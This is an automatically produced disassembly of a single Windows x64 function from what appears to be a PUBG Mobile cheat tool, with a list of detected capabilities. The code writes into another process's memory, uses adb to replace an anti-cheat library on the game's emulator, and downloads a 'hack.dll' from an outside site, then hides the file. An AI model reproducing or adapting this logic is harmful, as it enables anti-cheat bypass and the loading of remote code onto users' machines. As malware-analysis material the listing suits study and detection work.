Function at 0x140011ce0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Delete file
Download url
Inject thread
Receive data
Set file attributes
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x1a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x140154060]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov r14, qword [0x140157918]
movss xmm1, dword [0x14013f578]
mov ecx, 3
call fcn.14001d700
movss xmm0, dword [0x14018d5b4]
movss dword [rbp - 0x20], xmm0
movss xmm1, dword [0x1401540d8]
movss dword [rbp - 0x1c], xmm1
movss xmm2, dword [0x14018d5b8]
movss dword [rbp - 0x18], xmm2
movss xmm4, dword [0x14013f544]
mov dword [rbp - 0x14], 0x3f800000
xorps xmm7, xmm7
movss xmm3, dword [0x14013f4c0]
ucomiss xmm1, xmm3
jp 0x140011d91
jne 0x140011d91
ucomiss xmm2, xmm7
jp 0x140011d91
jne 0x140011d91
addss xmm0, xmm3
movss dword [0x14018d5b4], xmm0
movss xmm5, dword [0x14013f538]
comiss xmm0, xmm5
jbe 0x140011dbc
ucomiss xmm2, xmm7
jp 0x140011dbc
jne 0x140011dbc
movaps xmm0, xmm4
movss dword [0x14018d5b4], xmm4
addss xmm1, xmm3
movss dword [0x1401540d8], xmm1
movss xmm6, dword [0x14013f6c8]
comiss xmm1, xmm5
jbe 0x140011de7
ucomiss xmm2, xmm7
jp 0x140011de7
jne 0x140011de7
movaps xmm1, xmm4
movss dword [0x1401540d8], xmm4
addss xmm0, xmm6
movss dword [0x14018d5b4], xmm0
comiss xmm3, xmm0
jbe 0x140011e0a
ucomiss xmm1, xmm4
jp 0x140011e0a
jne 0x140011e0a
xorps xmm0, xmm0
movss dword [0x14018d5b4], xmm0
addss xmm2, xmm3
movss dword [0x14018d5b8], xmm2
comiss xmm2, xmm5
jbe 0x140011e2d
ucomiss xmm0, xmm7
jp 0x140011e2d
jne 0x140011e2d
movaps xmm2, xmm4
movss dword [0x14018d5b8], xmm4
addss xmm1, xmm6
movss dword [0x1401540d8], xmm1
comiss xmm3, xmm1
jbe 0x140011e50
ucomiss xmm2, xmm4
jp 0x140011e50
jne 0x140011e50
xorps xmm1, xmm1
movss dword [0x1401540d8], xmm1
addss xmm0, xmm3
movss dword [0x14018d5b4], xmm0
comiss xmm0, xmm5
jbe 0x140011e73
ucomiss xmm1, xmm7
jp 0x140011e73
jne 0x140011e73
movaps xmm0, xmm4
movss dword [0x14018d5b4], xmm4
addss xmm2, xmm6
movss dword [0x14018d5b8], xmm2
comiss xmm3, xmm2
jbe 0x140011ea4
ucomiss xmm1, xmm7
jp 0x140011ea4
jne 0x140011ea4
mov dword [0x14018d5b8], 0
addss xmm0, xmm6
movss dword [0x14018d5b4], xmm0
comiss xmm3, xmm0
jbe 0x140011ea4
mov dword [0x1401540d8], 0x3c23d70a
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], 5
movups xmm0, xmmword [rbx + 0x174c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x174c], xmm0
mov rdx, qword [0x140157918]
mov rax, qword [0x140157888]
or dword [rax + 0x1dc0], 2
movsd xmm0, qword [rdx + 0x84]
movsd qword [rax + 0x1de4], xmm0
mov dword [rax + 0x1dc8], 1
add rdx, 0xb2
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rcx, str.Snake
call fcn.140027530
mov rcx, qword [0x140157918]
mov rcx, qword [rcx + 0x1c8]
call fcn.14002aa20
xorps xmm6, xmm6
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [rbx + 0x184c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x184c], xmm6
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], reloc.WS2_32.dll_socket
movups xmm0, xmmword [rbx + 0x186c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x186c], xmm6
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_22
movups xmm0, xmmword [rbx + 0x185c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x185c], xmm6
movaps xmm6, xmmword [0x14013fbe0]
mov rbx, qword [0x140157888]
xor r15d, r15d
mov dword [rbp - 0x40], r15d
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x16fc], xmm6
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f5f0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f694]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x41a00000
mov dword [rbp - 0x1c], 0x41a00000
xor r8d, r8d
lea rdx, [rbp - 0x20]
lea rcx, [0x1400db05c]
call fcn.1400526e0
test al, al
je 0x1400120ae
mov rax, qword [0x140157918]
mov byte [rax + 0xb2], r15b
mov r8, qword [0x140157888]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1e70]
lea eax, [rcx - 1]
mov dword [r8 + 0x1e70], eax
lea rax, [rcx - 2]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [rcx + rdx*4]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 + 4]
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
call fcn.14002aac0
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm6, dword [0x14013f5e8]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x140157918]
mov rcx, qword [rcx + 0x1d0]
call fcn.14002aa20
mov rax, qword [0x140157918]
movss xmm1, dword [rax + 0x84]
lea rcx, str.SNAKE_BYPASS
call fcn.140015390
call fcn.14002aac0
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f618]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f5fc]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
xorps xmm1, xmm1
movups xmmword [rsp + 0x40], xmm1
movaps xmm0, xmmword [0x14013fbe0]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x3f800000
mov dword [rbp - 0x1c], 0x3f800000
mov qword [rbp], r15
movss xmm0, dword [0x14013f660]
movss dword [rbp - 8], xmm0
movss xmm1, dword [0x14013f654]
movss dword [rbp - 4], xmm1
mov rax, qword [0x1401578d8]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x20]
lea r8, [rbp]
lea rdx, [rbp - 8]
mov rcx, qword [rax + 0x68]
call fcn.140053d10
mov rbx, qword [0x140157888]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm7
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f668]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x43b70000
movss xmm0, dword [0x14013f67c]
movss dword [rbp - 0x1c], xmm0
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, str.control_frame
call fcn.14001cb00
cmp dword [rbx + 0x1d6c], eax
jne 0x1400123f7
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140012406
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, str.control_frame
call fcn.1400243b0
mov rbx, qword [0x140157888]
lea rcx, [rbx + 0x1e80]
movss xmm1, dword [rbx + 0x1680]
movss xmm0, dword [rbx + 0x1684]
mov dword [rbp - 0x20], reloc.WS2_32.dll_listen
movss dword [rbp - 0x1c], xmm1
movss dword [rbp - 0x18], xmm0
lea rdx, [rbp - 0x20]
call fcn.14003c300
mov dword [rbx + 0x1680], 0xbf800000
mov dword [rbx + 0x1684], 0x40c00000
mov rcx, qword [0x140157918]
mov rcx, qword [rcx + 0x1d8]
call fcn.14002aa20
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f630]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm6
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov edx, r15d
lea rcx, str.Vietnam
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
mov rax, rsi
inc rax
cmp byte [rcx + rax], r15b
jne 0x140012513
inc rcx
add rcx, rax
inc edx
cmp byte [rcx], r15b
jne 0x140012510
mov dword [rsp + 0x20], edx
lea r9, str.Vietnam
lea r8, [0x140055d50]
lea rdx, [0x14015897c]
lea rcx, str.Game_Version
call fcn.140055da0
movss xmm1, dword [0x14013f5f8]
movaps xmm0, xmm7
call fcn.14002b5f0
lea rdx, [0x140157875]
lea rcx, str.Fix_device
call fcn.140054110
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm6, dword [0x14013f61c]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f608]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x43070000
mov dword [rbp - 0x1c], 0x41c80000
movaps xmm1, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm1
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.Start_GameLoop
call fcn.14000b8b0
test al, al
je 0x140012652
mov dword [0x140188e90], r15d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14000cba0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm6
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f658]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x43070000
mov dword [rbp - 0x1c], 0x41c80000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.Safe_exit
call fcn.14000b8b0
test al, al
je 0x140012724
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14000e110]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], r15b
jne 0x140012765
mov qword [rbp - 0x20], r15
movss xmm1, dword [0x14013f6d8]
lea rcx, [rbp - 0x20]
call fcn.14002b210
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f63c]
movss xmm3, dword [rax + 0x50]
subss xmm3, dword [rax + 0x9c]
addss xmm3, xmm7
movss dword [rax + 0x118], xmm3
movss dword [rax + 0x11c], xmm0
movss xmm2, dword [rax + 0x134]
maxss xmm2, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm3
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm2
lea rcx, [r14 + 0xc4]
movss xmm1, dword [0x14013f680]
call fcn.140015390
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f650]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x43b70000
movss xmm0, dword [0x14013f604]
movss dword [rbp - 0x1c], xmm0
movaps xmm1, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm1
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.Memory.DLL
call fcn.14000b8b0
test al, al
je 0x1400128c4
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14000dc60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x140157888]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm8, dword [0x14013f65c]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm6, xmmword [0x14013f9e0]
mov dword [rbp - 0x40], 7
movups xmm0, xmmword [rbx + 0x176c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x176c], xmm6
movaps xmm6, xmmword [0x14013fa00]
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], 8
movups xmm0, xmmword [rbx + 0x177c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x177c], xmm6
movaps xmm6, xmmword [0x14013fa10]
mov rbx, qword [0x140157888]
mov dword [rbp - 0x40], 9
movups xmm0, xmmword [rbx + 0x178c]
movups xmmword [rbp - 0x3c], xmm0
lea rcx, [rbx + 0x1e70]
lea rdx, [rbp - 0x40]
call fcn.14003c400
movups xmmword [rbx + 0x178c], xmm6
mov rdx, qword [0x140188bc8]
add rdx, 4
lea rcx, str.iPad_View
call fcn.140054110
mov r8, qword [0x140188bc8]
cmp byte [r8 + 4], r15b
je 0x140012b88
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14013f664]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x43482ccd
mov dword [rbp - 0x10], 0x1e0
mov dword [rbp - 8], 0xb4
add r8, 8
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 8]
call fcn.140056110
test al, al
je 0x140012b88
mov ecx, dword [0x140157864]
test ecx, ecx
je 0x140012b88
mov dword [0x140157860], 0x5bcc908
mov rdi, qword [0x140157868]
mov rax, qword [0x140188bc8]
movd xmm0, dword [rax + 8]
cvtdq2ps xmm0, xmm0
movss dword [rbp - 8], xmm0
lea ebx, [rcx + 0x5bcc908]
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x3c]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x3c]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], r15
mov r9d, 4
lea r8, [rbp - 8]
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x20], r15
mov r9d, dword [rbp - 0x10]
mov r8d, 4
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp]
mov r8d, 4
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rdx, [0x1401540e0]
lea rcx, str.Mod_skin
call fcn.140054110
test al, al
je 0x140012cef
call fcn.14000c510
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.adb_kill_server
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov eax, dword [0x14015897c]
test eax, eax
jne 0x140012c14
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x54]
lea rdx, str.adb__s_emulator_5554_push_C:libSkin.so__data_data_com.vng.pubgmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov eax, dword [0x14015897c]
cmp eax, 1
jne 0x140012c4c
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x4f]
lea rdx, str.adb__s_emulator_5554_push_C:libSkin.so__data_data_com.tencent.ig_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov eax, dword [0x14015897c]
cmp eax, 2
jne 0x140012c84
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x51]
lea rdx, str.adb__s_emulator_5554_push_C:libSkin.so__data_data_com.pubg.krmobile_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
mov eax, dword [0x14015897c]
cmp eax, 3
jne 0x140012cb6
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0x4e]
lea rdx, str.adb__s_emulator_5554_push_C:libSkin.so__data_data_com.rekoo.pubgm_lib_libtgpa.so
lea rcx, [rbp - 0x40]
call fcn.140008c40
lea rcx, [rbp - 0x40]
call fcn.1400049a0
lea rcx, str.C:libSkin.so
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.14000c5b0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140010eb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401540e0], r15b
je 0x140012d00
mov rcx, r14
call fcn.14000f650
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14013f624]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rdx, [0x140157874]
lea rcx, str.Less_recoil
call fcn.140054110
mov rcx, qword [0x140157888]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
movss xmm8, dword [0x14013f674]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x20], 0x42f00000
mov dword [rbp - 0x1c], 0x41b00000
movaps xmm0, xmmword [0x14013f9f0]
movaps xmmword [rbp - 0x40], xmm0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, str.Open_Hack
call fcn.14000b8b0
test al, al
je 0x1400130c0
lea rcx, [rbp - 0x40]
call fcn.140011ae0
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp - 0x30]
sub rax, rcx
cmp rax, 0xb
jb 0x140013e62
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], recv
lea rax, str.module.dll
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.140009fc0
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.https:__esphax.com_hack.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edi, eax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140012f08
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012f03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4470
test edi, edi
je 0x140012f50
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140013e24
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012f46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400130a4
call fcn.1400c4470
jmp 0x140013e24
mov rax, rbx
mov rcx, qword [rbp - 0x30]
sub rax, rcx
cmp rax, 9
jb 0x140013e68
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], 9
lea rdi, [0x1400db2f8]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.140009fc0
mov edx, 0x438
lea rcx, [rsp + 0x40]
call fcn.140004ad0
mov rax, qword [rbp - 0x30]
sub rbx, rax
cmp rbx, 9
jb 0x140013e5c
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], 9
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x40]
call fcn.140009fc0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov edx, 0x2006
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001303d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013038
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013038
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
